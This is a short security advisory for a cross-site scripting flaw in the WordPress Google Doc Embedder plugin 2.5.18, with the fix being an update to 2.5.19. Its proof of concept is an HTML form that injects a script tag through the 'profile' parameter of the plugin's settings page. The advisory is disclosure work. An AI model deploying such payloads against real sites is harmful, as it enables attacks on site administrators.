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WordPress Google Doc Embedder 2.5.18 Cross Site Scripting

WordPress Google Doc Embedder 2.5.18 Cross Site Scripting
Posted Feb 9, 2015
Authored by Morten Nortoft, Kenneth Jepsen, Mikkel Vej

WordPress Google Doc Embedder plugin version 2.5.18 suffers from a cross site scripting vulnerability.

tags | exploit, xss
MD5 | 0a4338016488d3db9766d931aa6fa4f9

WordPress Google Doc Embedder 2.5.18 Cross Site Scripting

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Title: WordPress 'Google Doc Embedder' plugin - XSS
Version: 2.5.18
Author: Morten Nørtoft, Kenneth Jepsen, Mikkel Vej
Date: 2015/01/26
Download: https://wordpress.org/plugins/google-document-embedder/
Contacted WordPress: 2015/01/26
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## Description:
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Lets you embed PDF, MS Office, and many other file types in a web page using the free Google Docs Viewer (no Flash or PDF browser plug-ins required).


## XSS:
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By tricking a logged in admin into visiting a crafted page, it is possible to perform an XSS attack through the 'profile' parameter.

PoC:
Log in as admin and submit this form:
<form method="POST" action="http://[URL]/wp-admin/options-general.php?page=gde-settings">
<text>action: </text>
<input type="text" name="action" value="edit" READONLY><br />
<text>profile: </text>
<input type="text" name="profile" value=""><script>alert(1);</script>"><br />
<input type="submit">
</form>


## Solution
==========================================================
Update to version 2.5.19.

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